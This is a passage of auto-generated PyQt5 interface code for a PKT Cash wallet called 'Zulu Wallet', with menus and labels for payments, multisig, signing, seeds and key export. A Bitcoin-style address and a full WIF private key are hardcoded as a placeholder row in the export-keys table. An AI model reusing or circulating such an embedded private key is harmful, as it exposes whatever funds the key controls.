self.frame_44.setMinimumSize(QtCore.QSize(0, 65))
self.frame_44.setMaximumSize(QtCore.QSize(16777215, 65))
self.frame_44.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border-radius: 8px;\n"
"")
self.frame_44.setFrameShape(QtWidgets.QFrame.NoFrame)
self.frame_44.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_44.setObjectName("frame_44")
self.gridLayout_65 = QtWidgets.QGridLayout(self.frame_44)
self.gridLayout_65.setObjectName("gridLayout_65")
self.label_33 = QtWidgets.QLabel(self.frame_44)
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(28)
font.setBold(True)
font.setWeight(75)
self.label_33.setFont(font)
self.label_33.setStyleSheet("")
self.label_33.setObjectName("label_33")
self.gridLayout_65.addWidget(self.label_33, 0, 0, 1, 1)
self.gridLayout_64.addWidget(self.frame_44, 0, 0, 1, 1)
self.import_text = QtWidgets.QTextEdit(self.groupBox_13)
font = QtGui.QFont()
font.setFamily("Futura")
self.import_text.setFont(font)
self.import_text.setStyleSheet("background-color: rgb(253, 253, 255);\n"
"border: 1px solid rgb(210, 216, 216);\n"
"border-radius: 4px;")
self.import_text.setFrameShape(QtWidgets.QFrame.NoFrame)
self.import_text.setObjectName("import_text")
self.gridLayout_64.addWidget(self.import_text, 4, 0, 1, 1)
self.import_keys_btn = QtWidgets.QPushButton(self.groupBox_13)
self.import_keys_btn.setObjectName("import_keys_btn")
self.gridLayout_64.addWidget(self.import_keys_btn, 5, 0, 1, 1, QtCore.Qt.AlignHCenter)
self.gridLayout_63.addWidget(self.groupBox_13, 0, 0, 1, 1)
self.gridLayout_62.addWidget(self.frame_43, 0, 0, 1, 1)
self.stackedWidget.addWidget(self.import_page)
self.gridLayout_3.addWidget(self.stackedWidget, 0, 0, 1, 1)
self.gridLayout.addWidget(self.body_frame, 0, 3, 1, 1)
self.frame_4 = QtWidgets.QFrame(self.centralwidget)
self.frame_4.setMinimumSize(QtCore.QSize(0, 30))
#self.frame_4.setStyleSheet("background-color: rgba(207, 222, 254, 195);")
self.frame_4.setStyleSheet("background-color: rgb(207, 222, 254);")
self.frame_4.setFrameShape(QtWidgets.QFrame.Panel)
self.frame_4.setFrameShadow(QtWidgets.QFrame.Raised)
self.frame_4.setObjectName("frame_4")
self.gridLayout_10 = QtWidgets.QGridLayout(self.frame_4)
self.gridLayout_10.setContentsMargins(-1, 8, -1, -1)
self.gridLayout_10.setObjectName("gridLayout_10")
self.label_102 = QtWidgets.QLabel(self.frame_4)
self.label_102.setMinimumSize(QtCore.QSize(0, 15))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_102.setFont(font)
self.label_102.setStyleSheet("")
self.label_102.setObjectName("label_102")
self.gridLayout_10.addWidget(self.label_102, 0, 2, 1, 1)
self.label_100 = QtWidgets.QLabel(self.frame_4)
self.label_100.setMinimumSize(QtCore.QSize(0, 15))
self.label_100.setText("")
self.label_100.setPixmap(QtGui.QPixmap("img/red_btn.png"))
self.label_100.setObjectName("label_100")
self.gridLayout_10.addWidget(self.label_100, 0, 3, 1, 1)
self.line_10 = QtWidgets.QFrame(self.frame_4)
self.line_10.setMinimumSize(QtCore.QSize(0, 15))
self.line_10.setFrameShadow(QtWidgets.QFrame.Plain)
self.line_10.setFrameShape(QtWidgets.QFrame.VLine)
self.line_10.setObjectName("line_10")
self.gridLayout_10.addWidget(self.line_10, 0, 5, 1, 1)
spacerItem15 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.gridLayout_10.addItem(spacerItem15, 0, 1, 1, 1)
self.label_103 = QtWidgets.QLabel(self.frame_4)
self.label_103.setMinimumSize(QtCore.QSize(0, 15))
self.label_103.setText("")
self.label_103.setPixmap(QtGui.QPixmap("img/red_btn.png"))
self.label_103.setObjectName("label_103")
self.gridLayout_10.addWidget(self.label_103, 0, 7, 1, 1)
self.label_104 = QtWidgets.QLabel(self.frame_4)
self.label_104.setMinimumSize(QtCore.QSize(0, 15))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setItalic(False)
font.setWeight(75)
self.label_104.setFont(font)
self.label_104.setStyleSheet("")
self.label_104.setObjectName("label_104")
self.gridLayout_10.addWidget(self.label_104, 0, 0, 1, 1)
self.label_101 = QtWidgets.QLabel(self.frame_4)
self.label_101.setMinimumSize(QtCore.QSize(0, 15))
font = QtGui.QFont()
font.setFamily("Futura")
font.setPointSize(15)
font.setBold(True)
font.setWeight(75)
self.label_101.setFont(font)
self.label_101.setStyleSheet("")
self.label_101.setObjectName("label_101")
self.gridLayout_10.addWidget(self.label_101, 0, 6, 1, 1)
self.label_105 = QtWidgets.QLabel(self.frame_4)
self.label_105.setMinimumSize(QtCore.QSize(0, 15))
self.label_105.setObjectName("label_105")
self.gridLayout_10.addWidget(self.label_105, 0, 4, 1, 1)
self.label_106 = QtWidgets.QLabel(self.frame_4)
self.label_106.setMinimumSize(QtCore.QSize(0, 15))
self.label_106.setObjectName("label_106")
self.gridLayout_10.addWidget(self.label_106, 0, 8, 1, 1)
self.gridLayout.addWidget(self.frame_4, 1, 3, 1, 1)
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtWidgets.QStatusBar(MainWindow)
self.statusbar.setObjectName("statusbar")
MainWindow.setStatusBar(self.statusbar)
self.menubar = QtWidgets.QMenuBar(MainWindow)
self.menubar.setGeometry(QtCore.QRect(0, 0, 1030, 22))
self.menubar.setObjectName("menubar")
self.menuFile = QtWidgets.QMenu(self.menubar)
self.menuFile.setObjectName("menuFile")
self.menuWallet = QtWidgets.QMenu(self.menubar)
self.menuWallet.setObjectName("menuWallet")
self.menuCreate_Address_2 = QtWidgets.QMenu(self.menuWallet)
self.menuCreate_Address_2.setObjectName("menuCreate_Address_2")
self.menuTools = QtWidgets.QMenu(self.menubar)
self.menuTools.setObjectName("menuTools")
self.menuLoad_Transaction = QtWidgets.QMenu(self.menuTools)
self.menuLoad_Transaction.setObjectName("menuLoad_Transaction")
self.menuHelp = QtWidgets.QMenu(self.menubar)
self.menuHelp.setObjectName("menuHelp")
MainWindow.setMenuBar(self.menubar)
self.toolBar = QtWidgets.QToolBar(MainWindow)
self.toolBar.setObjectName("toolBar")
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.actionOpen = QtWidgets.QAction(MainWindow)
self.actionOpen.setObjectName("actionOpen")
self.actionInformation = QtWidgets.QAction(MainWindow)
self.actionInformation.setObjectName("actionInformation")
self.actionSign_Messages = QtWidgets.QAction(MainWindow)
self.actionSign_Messages.setObjectName("actionSign_Messages")
self.actionVerify_Message = QtWidgets.QAction(MainWindow)
self.actionVerify_Message.setObjectName("actionVerify_Message")
self.actionDelete = QtWidgets.QAction(MainWindow)
self.actionDelete.setObjectName("actionDelete")
self.actionPassword = QtWidgets.QAction(MainWindow)
self.actionPassword.setObjectName("actionPassword")
self.actionExport_Private_Key = QtWidgets.QAction(MainWindow)
self.actionExport_Private_Key.setObjectName("actionExport_Private_Key")
self.actionUpdates = QtWidgets.QAction(MainWindow)
self.actionUpdates.setObjectName("actionUpdates")
self.actionWebsite = QtWidgets.QAction(MainWindow)
self.actionWebsite.setObjectName("actionWebsite")
self.actionPay_to_Many = QtWidgets.QAction(MainWindow)
self.actionPay_to_Many.setObjectName("actionPay_to_Many")
self.actionSign_Verify_Message = QtWidgets.QAction(MainWindow)
self.actionSign_Verify_Message.setObjectName("actionSign_Verify_Message")
self.actionEncrypt_Decrypt_Message = QtWidgets.QAction(MainWindow)
self.actionEncrypt_Decrypt_Message.setObjectName("actionEncrypt_Decrypt_Message")
self.actionFrom_File = QtWidgets.QAction(MainWindow)
self.actionFrom_File.setObjectName("actionFrom_File")
self.actionFrom_Text = QtWidgets.QAction(MainWindow)
self.actionFrom_Text.setObjectName("actionFrom_Text")
self.actionFrom_QR = QtWidgets.QAction(MainWindow)
self.actionFrom_QR.setObjectName("actionFrom_QR")
self.actionSave = QtWidgets.QAction(MainWindow)
self.actionSave.setObjectName("actionSave")
self.actionImport_Keys = QtWidgets.QAction(MainWindow)
self.actionImport_Keys.setObjectName("actionImport_Keys")
self.actionInformation_2 = QtWidgets.QAction(MainWindow)
self.actionInformation_2.setObjectName("actionInformation_2")
self.actionAddress = QtWidgets.QAction(MainWindow)
self.actionAddress.setObjectName("actionAddress")
self.actionCreate_Transaction = QtWidgets.QAction(MainWindow)
self.actionCreate_Transaction.setObjectName("actionCreate_Transaction")
self.actionAddress_2 = QtWidgets.QAction(MainWindow)
self.actionAddress_2.setObjectName("actionAddress_2")
self.actionMultiSig_Address = QtWidgets.QAction(MainWindow)
self.actionMultiSig_Address.setObjectName("actionMultiSig_Address")
self.actionGet_Public_Key = QtWidgets.QAction(MainWindow)
self.actionGet_Public_Key.setObjectName("actionGet_Public_Key")
self.actionCombine_Multisig_Transactions = QtWidgets.QAction(MainWindow)
self.actionCombine_Multisig_Transactions.setObjectName("actionCombine_Multisig_Transactions")
self.actionGet_Private_Key = QtWidgets.QAction(MainWindow)
self.actionGet_Private_Key.setObjectName("actionGet_Private_Key")
self.actionSeed = QtWidgets.QAction(MainWindow)
self.actionSeed.setObjectName("actionSeed")
self.actionFrom_Text_2 = QtWidgets.QAction(MainWindow)
self.actionFrom_Text_2.setObjectName("actionFrom_Text_2")
self.actionFrom_QR_Code = QtWidgets.QAction(MainWindow)
self.actionFrom_QR_Code.setObjectName("actionFrom_QR_Code")
self.actionFold_Address = QtWidgets.QAction(MainWindow)
self.actionFold_Address.setObjectName("actionFold_Address")
self.actionNew_Wallet = QtWidgets.QAction(MainWindow)
self.actionNew_Wallet.setObjectName("actionNew_Wallet")
self.actionManual_Resync = QtWidgets.QAction(MainWindow)
self.actionManual_Resync.setObjectName("actionManual_Resync")
self.actionResync = QtWidgets.QAction(MainWindow)
self.actionResync.setObjectName("actionResync")
self.menuFile.addAction(self.actionInformation_2)
self.menuFile.addAction(self.actionSave)
self.menuFile.addAction(self.actionDelete)
self.menuCreate_Address_2.addAction(self.actionAddress_2)
self.menuCreate_Address_2.addAction(self.actionMultiSig_Address)
self.menuWallet.addAction(self.actionPassword)
self.menuWallet.addAction(self.actionImport_Keys)
self.menuWallet.addAction(self.actionGet_Public_Key)
self.menuWallet.addAction(self.actionGet_Private_Key)
self.menuWallet.addAction(self.menuCreate_Address_2.menuAction())
self.menuWallet.addAction(self.actionSeed)
self.menuWallet.addAction(self.actionManual_Resync)
self.menuLoad_Transaction.addSeparator()
self.menuLoad_Transaction.addAction(self.actionFrom_Text_2)
self.menuLoad_Transaction.addAction(self.actionFrom_QR_Code)
self.menuTools.addAction(self.actionPay_to_Many)
self.menuTools.addAction(self.actionCreate_Transaction)
self.menuTools.addAction(self.menuLoad_Transaction.menuAction())
self.menuTools.addAction(self.actionSign_Verify_Message)
self.menuTools.addAction(self.actionCombine_Multisig_Transactions)
self.menuTools.addAction(self.actionEncrypt_Decrypt_Message)
self.menuTools.addAction(self.actionFold_Address)
self.menuHelp.addAction(self.actionWebsite)
self.menubar.addAction(self.menuFile.menuAction())
self.menubar.addAction(self.menuWallet.menuAction())
self.menubar.addAction(self.menuTools.menuAction())
self.menubar.addAction(self.menuHelp.menuAction())
self.retranslateUi(MainWindow)
self.stackedWidget.setCurrentIndex(8)
self.fld_to_box.setCurrentIndex(-1)
self.fld_frm_box.setCurrentIndex(-1)
self.sig_box.setCurrentIndex(2)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
_translate = QtCore.QCoreApplication.translate
MainWindow.setWindowTitle(_translate("MainWindow", "Zulu Wallet"))
self.frame_22.setToolTip(_translate("MainWindow", "View your addresses and balances here. "))
self.balance_header_label.setText(_translate("MainWindow", "PKT Cash Balance"))
self.balance_amount.setText(_translate("MainWindow", "000000000.0000000"))
self.total_label.setText(_translate("MainWindow", "Total:"))
self.recalc_btn.setText(_translate("MainWindow", "Recalculate"))
self.all_addr_btn.setText(_translate("MainWindow", "Get All Addresses"))
self.address_gen_btn2.setText(_translate("MainWindow", "Create New Address"))
self.bal_addr_btn.setText(_translate("MainWindow", "Get Address Balances"))
self.address_header_label.setText(_translate("MainWindow", "My Addresses"))
self.balance_tree.headerItem().setText(0, _translate("MainWindow", "Address"))
self.balance_tree.headerItem().setText(1, _translate("MainWindow", "Balance"))
__sortingEnabled = self.balance_tree.isSortingEnabled()
self.balance_tree.setSortingEnabled(False)
self.balance_tree.topLevelItem(0).setText(0, _translate("MainWindow", "Loading ..."))
self.balance_tree.setSortingEnabled(__sortingEnabled)
self.label_54.setText(_translate("MainWindow", "Send payments from here."))
self.label_7.setText(_translate("MainWindow", "Send Money"))
self.pay_from_combo_box.setToolTip(_translate("MainWindow", "Select address to pay from."))
self.pay_from_combo_box.setCurrentText(_translate("MainWindow", "Loading ..."))
self.pay_from_combo_box.setItemText(0, _translate("MainWindow", "Loading ..."))
self.label_8.setText(_translate("MainWindow", "Pay From:"))
self.label_9.setText(_translate("MainWindow", "Add One or More Payees Here"))
self.snd_btn.setText(_translate("MainWindow", "Send"))
self.clear_btn.setToolTip(_translate("MainWindow", "Click to clear all entries."))
self.clear_btn.setText(_translate("MainWindow", "Clear All"))
self.add_btn.setToolTip(_translate("MainWindow", "Click to add more payees."))
self.add_btn.setText(_translate("MainWindow", "Add Recipients"))
self.label_10.setText(_translate("MainWindow", "Fees:"))
self.lineEdit_6.setToolTip(_translate("MainWindow", "Set network transactions fees (optionally). Default setting is the safest."))
self.fee_est_btn.setText(_translate("MainWindow", "Estimate Fee"))
self.label_76.setText(_translate("MainWindow", "Fold To:"))
self.label_75.setText(_translate("MainWindow", "Fold From:"))
self.label_73.setText(_translate("MainWindow", "Fold Address"))
self.fold_btn_1.setText(_translate("MainWindow", "Fold "))
self.label_74.setText(_translate("MainWindow", "Fold all the entire balance of this address into a new address. This will allow for large spends. Select the fold from address below, and send it to the fold to address of your choice. "))
self.receive_header_frame.setToolTip(_translate("MainWindow", "Request payments from here."))
self.label.setText(_translate("MainWindow", "Request Payments"))
self.label_53.setText(_translate("MainWindow", "Request payments from here."))
self.label_5.setText(_translate("MainWindow", "Message:"))
self.msg_line.setToolTip(_translate("MainWindow", "Message about transaction."))
self.msg_line.setPlaceholderText(_translate("MainWindow", "Optional message here"))
self.label_4.setText(_translate("MainWindow", "Pay To:"))
self.receive_amt_line.setToolTip(_translate("MainWindow", "Amount you are requesting to be paid."))
self.receive_amt_line.setPlaceholderText(_translate("MainWindow", "Enter amount here"))
self.receive_rqst_btn.setText(_translate("MainWindow", "Request Payment"))
self.label_3.setText(_translate("MainWindow", "Amount:"))
self.pay_to_combo_box.setCurrentText(_translate("MainWindow", "Loading ..."))
self.receive_hist_tree2.headerItem().setText(0, _translate("MainWindow", "Date"))
self.receive_hist_tree2.headerItem().setText(1, _translate("MainWindow", "Message"))
self.receive_hist_tree2.headerItem().setText(2, _translate("MainWindow", "Amount (PKT)"))
__sortingEnabled = self.receive_hist_tree2.isSortingEnabled()
self.receive_hist_tree2.setSortingEnabled(False)
self.receive_hist_tree2.topLevelItem(0).setText(0, _translate("MainWindow", "03/01/2020"))
self.receive_hist_tree2.topLevelItem(0).setText(1, _translate("MainWindow", "Payment for wallet development."))
self.receive_hist_tree2.topLevelItem(0).setText(2, _translate("MainWindow", "40000000"))
self.receive_hist_tree2.setSortingEnabled(__sortingEnabled)
self.label_2.setText(_translate("MainWindow", "Requested Payments History"))
self.label_11.setText(_translate("MainWindow", "Transaction History"))
self.label_35.setText(_translate("MainWindow", "A history of all transactions from this wallet. "))
self.transaction_hist_tree.setToolTip(_translate("MainWindow", "View all of your transactions here.\n"
""))
self.transaction_hist_tree.setSortingEnabled(False)
self.transaction_hist_tree.headerItem().setText(0, _translate("MainWindow", "Date"))
self.transaction_hist_tree.headerItem().setText(1, _translate("MainWindow", "Address"))
self.transaction_hist_tree.headerItem().setText(2, _translate("MainWindow", "Amount"))
self.transaction_hist_tree.headerItem().setText(3, _translate("MainWindow", "Transaction ID"))
self.load_trns_btn.setToolTip(_translate("MainWindow", "Load more transactions."))
self.load_trns_btn.setText(_translate("MainWindow", "Load More"))
self.label_51.setText(_translate("MainWindow", "Transaction ID:"))
self.label_52.setText(_translate("MainWindow", "Transaction Details:"))
self.label_43.setText(_translate("MainWindow", "Transaction Sent Status"))
self.label_50.setText(_translate("MainWindow", "Your transaction was successfully sent. "))
self.label_91.setText(_translate("MainWindow", "Import Success"))
self.label_92.setText(_translate("MainWindow", "Your keys were successfully added."))
self.address_create_label.setText(_translate("MainWindow", "New Address"))
self.address_sublabel.setText(_translate("MainWindow", "Create a new address by simply clicking the generate button below"))
self.address_create_frame.setToolTip(_translate("MainWindow", "Click generate to create a new publick key, private key, and address."))
self.address_gen_btn.setToolTip(_translate("MainWindow", "Generate your address and associated keys."))
self.address_gen_btn.setText(_translate("MainWindow", "Generate"))
self.address_label.setText(_translate("MainWindow", "Address:"))
self.address_line.setToolTip(_translate("MainWindow", "Your public key. "))
self.label_12.setText(_translate("MainWindow", "New MultiSig Address"))
self.label_13.setText(_translate("MainWindow", "To create a multi-signature address, enter the public keys of all the participants. Maximum of 12 allowed."))
self.add_multisig_pk_btn.setToolTip(_translate("MainWindow", "Add more public keys."))
self.add_multisig_pk_btn.setText(_translate("MainWindow", "Add Public Key"))
self.sig_box.setToolTip(_translate("MainWindow", "Select the number of signatures required. "))
self.sig_box.setCurrentText(_translate("MainWindow", "3"))
self.sig_box.setItemText(0, _translate("MainWindow", "1"))
self.sig_box.setItemText(1, _translate("MainWindow", "2"))
self.sig_box.setItemText(2, _translate("MainWindow", "3"))
self.sig_box.setItemText(3, _translate("MainWindow", "4"))
self.sig_box.setItemText(4, _translate("MainWindow", "5"))
self.sig_box.setItemText(5, _translate("MainWindow", "6"))
self.sig_box.setItemText(6, _translate("MainWindow", "7"))
self.sig_box.setItemText(7, _translate("MainWindow", "8"))
self.sig_box.setItemText(8, _translate("MainWindow", "9"))
self.sig_box.setItemText(9, _translate("MainWindow", "10"))
self.sig_box.setItemText(10, _translate("MainWindow", "11"))
self.sig_box.setItemText(11, _translate("MainWindow", "12"))
self.label_15.setText(_translate("MainWindow", "Enter the amount of signatures required to release the coins:"))
self.multisig_gen_btn.setToolTip(_translate("MainWindow", "Generate multisig address."))
self.multisig_gen_btn.setText(_translate("MainWindow", "Generate"))
self.label_62.setText(_translate("MainWindow", "New Multisig Created"))
self.label_78.setText(_translate("MainWindow", "Generate QR to share with other signers."))
self.multi_qr_btn.setToolTip(_translate("MainWindow", "Generate QR to share with other signers."))
self.multi_qr_btn.setText(_translate("MainWindow", "Get QR Code"))
self.new_multi_line.setToolTip(_translate("MainWindow", "This is your new multisig address."))
self.label_64.setText(_translate("MainWindow", "Redeem Script:"))
self.redeem_txt.setToolTip(_translate("MainWindow", "This is your redeem script. "))
self.label_63.setText(_translate("MainWindow", "Multisig Address:"))
self.label_16.setText(_translate("MainWindow", "Create a Multisig Transaction"))
self.label_14.setText(_translate("MainWindow", "Pay From:"))
self.comboBox_2.setToolTip(_translate("MainWindow", "Choose multisig address to pay from."))
self.comboBox_2.setItemText(0, _translate("MainWindow", "Loading ..."))
self.label_17.setText(_translate("MainWindow", "Add One or More Payees Here"))
self.label_20.setText(_translate("MainWindow", "Fee:"))
self.fee_est2_btn.setText(_translate("MainWindow", "Estimate Fee"))
self.lineEdit_3.setToolTip(_translate("MainWindow", "Set network transactions fees (optionally). Default setting is the safest."))
self.label_55.setText(_translate("MainWindow", "Generate a raw multisig transaction here."))
self.multi_create_btn.setToolTip(_translate("MainWindow", "Click to create the raw transaction."))
self.multi_create_btn.setText(_translate("MainWindow", "Create"))
self.multi_add_btn.setToolTip(_translate("MainWindow", "Click to add more payees."))
self.multi_add_btn.setText(_translate("MainWindow", "Add Recipients"))
self.multi_clear_btn.setText(_translate("MainWindow", "Clear"))
self.multi_sign_btn2.setToolTip(_translate("MainWindow", "<html><head/><body><p>Click to sign and send the raw transaction.</p></body></html>"))
self.multi_sign_btn2.setText(_translate("MainWindow", "Next"))
self.raw_mult_trans.setToolTip(_translate("MainWindow", "This is your raw transaction"))
self.label_72.setText(_translate("MainWindow", "Raw Transaction:"))
self.multi_sign_btn3.setText(_translate("MainWindow", "Next"))
self.label_71.setText(_translate("MainWindow", "Copy and save the raw multsig transaction below. Share this with all required signatories. "))
self.label_70.setText(_translate("MainWindow", "Raw Multisig Transaction"))
self.frame_19.setToolTip(_translate("MainWindow", "Sign the transaction here."))
self.label_18.setText(_translate("MainWindow", "Sign Transaction"))
self.label_27.setText(_translate("MainWindow", "You may paste in any raw transaction you wish to sign here. "))
self.label_40.setText(_translate("MainWindow", "Raw Transaction: "))
self.comboBox_3.setToolTip(_translate("MainWindow", "Select address to sign with."))
self.comboBox_3.setItemText(0, _translate("MainWindow", "Loading ..."))
self.import_trans_btn.setText(_translate("MainWindow", "Import Transaction"))
self.multi_sign_btn.setToolTip(_translate("MainWindow", "Click to sign a transaction with your private key. "))
self.multi_sign_btn.setText(_translate("MainWindow", "Sign Transaction"))
self.label_41.setText(_translate("MainWindow", "Address:"))
self.multi_send_btn.setText(_translate("MainWindow", "Send Transaction"))
self.signed_text.setToolTip(_translate("MainWindow", "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0//EN\" \"http://www.w3.org/TR/REC-html40/strict.dtd\">\n"
"<html><head><meta name=\"qrichtext\" content=\"1\" /><style type=\"text/css\">\n"
"p, li { white-space: pre-wrap; }\n"
"</style></head><body style=\" font-family:\'.SF NS Text\'; font-size:13pt; font-weight:400; font-style:normal;\">\n"
"<p style=\" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;\"><span style=\" font-family:\'.SF NS Text\';\">This is your signed transaction. </span></p></body></html>"))
self.trans_text.setToolTip(_translate("MainWindow", "Paste in any transaction to sign here, or import a transaction via QR code"))
self.trans_text.setPlaceholderText(_translate("MainWindow", "Use import button to import multisig transactions here, or copy and paste them in."))
self.label_42.setText(_translate("MainWindow", "Signed Transaction:"))
self.sign_enc_btn.setText(_translate("MainWindow", "Encrypt Message"))
self.sign_dec_btn.setText(_translate("MainWindow", "Decrypt Message"))
self.textEdit_2.setToolTip(_translate("MainWindow", "Enter a message you wish to encrypt. "))
self.label_47.setText(_translate("MainWindow", "Message: "))
self.label_49.setText(_translate("MainWindow", "Encrypted / Decrypted:"))
self.label_48.setText(_translate("MainWindow", "Address:"))
self.comboBox_4.setToolTip(_translate("MainWindow", "Select an address to sign with. Your message will be signed with your public key."))
self.comboBox_4.setItemText(0, _translate("MainWindow", "Loading ..."))
self.label_45.setText(_translate("MainWindow", "Encrypt / Decrypt Message"))
self.label_46.setText(_translate("MainWindow", "Encrypt or decrypt messages here. "))
self.label_68.setText(_translate("MainWindow", "Combined Transactions:"))
self.add_trns_btn.setToolTip(_translate("MainWindow", "Add another signed transaction."))
self.add_trns_btn.setText(_translate("MainWindow", "Import Signed Transaction"))
self.combine_trans_btn.setToolTip(_translate("MainWindow", "Merge multisig transactions."))
self.combine_trans_btn.setText(_translate("MainWindow", "Combine"))
self.combine_send_btn.setToolTip(_translate("MainWindow", "Send your transaction to the network. "))
self.combine_send_btn.setText(_translate("MainWindow", "Send"))
self.comb_clear_btn.setToolTip(_translate("MainWindow", "Clear all fields."))
self.comb_clear_btn.setText(_translate("MainWindow", "Clear"))
self.add_trans_txt.setToolTip(_translate("MainWindow", "To import multisig transactions, copy / paste or use import button to import via. QR code. Add up to 12 of them."))
self.add_trans_txt.setPlaceholderText(_translate("MainWindow", "Use import button to import signed transactions here, or copy and paste them in. Be sure to leave a full line spacing between each enty when copy and pasting. "))
self.label_67.setText(_translate("MainWindow", "Signed Transactions: "))
self.label_29.setText(_translate("MainWindow", "Combine multiple signatures for the same multisig transaction. "))
self.label_28.setText(_translate("MainWindow", "Combine Multisig Transactions"))
self.label_24.setText(_translate("MainWindow", "Password Change"))
self.label_23.setText(_translate("MainWindow", "Use this screen to change your wallet\'s current password. "))
self.pwd_cancel_btn.setText(_translate("MainWindow", "Cancel"))
self.pwd_ok_btn.setText(_translate("MainWindow", "OK"))
self.label_21.setText(_translate("MainWindow", "New Password:"))
self.lineEdit_5.setToolTip(_translate("MainWindow", "Re-enter new password. "))
self.label_22.setText(_translate("MainWindow", "Password Confirm:"))
self.lineEdit_10.setToolTip(_translate("MainWindow", "Enter old passord here."))
self.label_61.setText(_translate("MainWindow", "Old Password "))
self.label_30.setText(_translate("MainWindow", "Export Keys"))
self.label_31.setText(_translate("MainWindow", "Use this screen to export your private keys. WARNING: do not expose your private keys to anyone or you may compromise your wallet."))
self.treeWidget.setSortingEnabled(True)
self.treeWidget.headerItem().setText(0, _translate("MainWindow", "Address"))
self.treeWidget.headerItem().setText(1, _translate("MainWindow", "Private Key"))
__sortingEnabled = self.treeWidget.isSortingEnabled()
self.treeWidget.setSortingEnabled(False)
self.treeWidget.topLevelItem(0).setText(0, _translate("MainWindow", "bc1q8zmchk8cx2zkjwrp90e89rlpn4n85tnu3m4ken"))
self.treeWidget.topLevelItem(0).setText(1, _translate("MainWindow", "p2wpkh:L4jzRJLmQcAZVu6MgxbKhgSGbQecDDb27hWPes3KUco1y3vLQDcH"))
self.treeWidget.setSortingEnabled(__sortingEnabled)
self.label_32.setText(_translate("MainWindow", "Format:"))
self.radioButton.setText(_translate("MainWindow", "JSON"))
self.radioButton_2.setText(_translate("MainWindow", "CSV"))
self.file_loc_btn.setText(_translate("MainWindow", "File"))
self.label_93.setText(_translate("MainWindow", "Wallet Information"))
self.label_94.setText(_translate("MainWindow", "About this wallet. "))
self.blks_lbl.setText(_translate("MainWindow", "Blocks:"))
self.bhsh_lbl.setText(_translate("MainWindow", "Current Block Hash:"))
self.bstp_lbl.setText(_translate("MainWindow", "Current Blockstamp:"))
self.ver_lbl.setText(_translate("MainWindow", "Wallet Version:"))
self.isync_lbl.setText(_translate("MainWindow", "Wallet Syncing:"))
self.dsync_lbl.setText(_translate("MainWindow", "Daemon Syncing:"))
self.label_79.setText(_translate("MainWindow", "Please create a new wallet."))
self.wllt_cr8_btn.setText(_translate("MainWindow", "Create Wallet"))
self.label_80.setText(_translate("MainWindow", "New Wallet Setup"))
self.label_82.setText(_translate("MainWindow", "Wallet Passphrase"))
self.passphrase_btn.setToolTip(_translate("MainWindow", "Enter wallet seed."))
self.passphrase_btn.setText(_translate("MainWindow", "Enter"))
self.label_81.setText(_translate("MainWindow", "Enter the private passphrase for your new wallet:"))
self.label_83.setText(_translate("MainWindow", "Passphrase:"))
self.lineEdit_2.setPlaceholderText(_translate("MainWindow", "Enter private passphrase here"))
self.label_84.setText(_translate("MainWindow", "Confirm Passphrase:"))
self.lineEdit_11.setPlaceholderText(_translate("MainWindow", "Re-enter private passphrase here"))
self.open_wllt_btn.setText(_translate("MainWindow", "Open Wallet"))
self.label_90.setText(_translate("MainWindow", "Wallet Seed: "))
self.label_85.setText(_translate("MainWindow", "Wallet Created"))
self.label_89.setText(_translate("MainWindow", "Wallet successfully created. Record your wallet seed now or access it under the \"seed\" menu item."))
self.label_98.setText(_translate("MainWindow", "Wallet Seed"))
self.label_99.setText(_translate("MainWindow", "Your wallet seed appears below. Back it up in a safe place. Please be aware that your wallet seed changes when you change your wallet password"))
self.label_95.setText(_translate("MainWindow", "Wallet Seed: "))
self.label_86.setText(_translate("MainWindow", "Import Wallet Seed"))
self.imprt_seed_txt.setPlaceholderText(_translate("MainWindow", "Add wallet seed (or seed words) here"))
self.label_88.setText(_translate("MainWindow", "Wallet Seed (or Seed Words):"))
self.old_pass_line.setPlaceholderText(_translate("MainWindow", "Enter old passphrase"))
self.label_96.setText(_translate("MainWindow", "Old Passphrase:"))
self.seed_next_btn.setToolTip(_translate("MainWindow", "Click to continue with seed"))
self.seed_next_btn.setText(_translate("MainWindow", "Continue With Seed"))
self.no_seed_next_btn.setToolTip(_translate("MainWindow", "Click here if you have no seed to enter."))
self.no_seed_next_btn.setText(_translate("MainWindow", "Continue Without Seed"))
self.label_87.setText(_translate("MainWindow", "If you have an existing wallet seed, or seed words, enter the seed and passphrase used when the existing seed was created. "))
self.label_97.setText(_translate("MainWindow", "If you have no seed select \"Continue Without Seed.\""))
self.label_38.setText(_translate("MainWindow", "Select Address:"))
self.addr_combo.setToolTip(_translate("MainWindow", "Select address for which you wish to get the public key."))
self.addr_combo.setItemText(0, _translate("MainWindow", "Loading..."))
self.label_36.setText(_translate("MainWindow", "Retrieve Public Key"))
self.label_39.setText(_translate("MainWindow", "Public Key:"))
self.pk_line.setToolTip(_translate("MainWindow", "Your public key.\n"
""))
self.pk_line.setPlaceholderText(_translate("MainWindow", "Click \"retrieve\" above to see public key"))
self.rtr_pubk_btn.setText(_translate("MainWindow", "Retrieve Public Key"))
self.label_37.setText(_translate("MainWindow", "Select an address below to retrieve its public key."))
self.label_59.setText(_translate("MainWindow", "Private Key:"))
self.lineEdit_8.setToolTip(_translate("MainWindow", "Your public key.\n"
""))
self.lineEdit_8.setPlaceholderText(_translate("MainWindow", "Click \"retrieve\" above to see private key"))
self.rtr_prvk_btn.setText(_translate("MainWindow", "Retrieve Private Key"))
self.label_57.setText(_translate("MainWindow", "Select an address below to retrieve its private key."))
self.label_56.setText(_translate("MainWindow", "Retrieve Private Key"))
self.label_58.setText(_translate("MainWindow", "Select Address:"))
self.comboBox_5.setToolTip(_translate("MainWindow", "Select address for which you wish to get the private key."))
self.comboBox_5.setItemText(0, _translate("MainWindow", "Loading..."))
